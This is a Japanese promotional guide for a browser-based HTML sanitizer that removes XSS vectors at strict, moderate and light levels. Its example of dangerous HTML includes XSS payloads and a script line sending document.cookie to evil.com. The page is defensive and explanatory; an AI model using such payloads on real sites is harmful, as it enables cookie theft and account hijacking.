使い方
6分で読める

HTMLサニタイザー【XSS除去・3段階クリーンアップ・無料】

HTMLからXSSベクター(スクリプトタグ、イベントハンドラ等)を除去。strict/moderate/lightの3段階で安全なHTML出力。ブラウザ内処理でコードを外部送信しない開発者向け無料ツール。

なぜHTMLサニタイズが必要なのか

Webアプリケーションでユーザー入力をそのまま表示すると、XSS(クロスサイトスクリプティング)攻撃のリスクがあります。OWASP Top 10でも常に上位にランクインする深刻な脆弱性です。

危険なHTMLの例

// 悪意のあるHTML例
<img src="x" onerror="alert('XSS')">
<a href="javascript:document.cookie">Click</a>
<script>fetch('https://evil.com?c='+document.cookie)</script>

3段階サニタイズレベル

レベル除去対象推奨用途
strictscript, イベントハンドラ, style, iframe, object, embed, formユーザー投稿コンテンツ
moderatescript, イベントハンドラ, javascript: URLCMS・ブログ記事
lightscriptタグ, javascript: URL信頼できるソースの整形

サニタイズの実例

入力(危険なHTML)

<p onclick="alert('xss')">こんにちは</p>
<img src="x" onerror="steal()">
<a href="javascript:void(0)">リンク</a>

出力(安全なHTML - strictモード)

<p>こんにちは</p>
<img src="x">
<a>リンク</a>

開発者が使うべきシーン

  • フォーム入力の検証:ユーザーが入力したHTMLを安全に表示する前処理
  • リッチテキストエディタ:WYSIWYGエディタの出力をクリーンアップ
  • メール配信:HTMLメールテンプレートの安全性を確認
  • API連携:外部APIから取得したHTMLを安全に表示
  • CMS移行:旧CMSの汚いHTMLをクリーンに変換

HTMLサニタイザーを今すぐ使う

HTMLをサニタイズ →

処理速度比較

他社クラウドサービス1.5s
JobDoneBot (ローカル)推奨5ms
300.0x 高速

処理速度比較

他社A (クラウド)1.5
他社B (クラウド)1
JobDoneBot推奨0.005

手順

  1. HTMLを貼り付け

    HTMLサニタイザーを開き、クリーンアップしたいHTMLコードを貼り付けます。

  2. サニタイズレベルを選択

    strict(最も厳格)、moderate(バランス型)、light(最小限の除去)から目的に合ったレベルを選択。

  3. 安全なHTMLをコピー

    XSSベクターが除去された安全なHTMLが即座に生成されます。ワンクリックでコピー可能。

よくある質問

クロスサイトスクリプティング(XSS)は、Webアプリケーションの脆弱性を悪用し、悪意のあるスクリプトを挿入する攻撃手法です。ユーザーのCookie窃取やフィッシングに悪用されます。
strict:scriptタグ、イベントハンドラ、style属性、iframe等をすべて除去。moderate:scriptとイベントハンドラを除去し、安全なstyleとiframeは許可。light:scriptタグとjavascript:URLのみ除去。
ユーザー投稿コンテンツには「strict」を推奨します。予期しない属性やタグからの攻撃を防ぐため、最も厳格なレベルでサニタイズするのが安全です。
いいえ。すべてのサニタイズ処理はブラウザ内で完結します。機密性の高いコードも安心して処理できます。
#開発#セキュリティ#HTML#XSS#サニタイズ#Web開発#無料

この記事で紹介したツール

この記事をシェア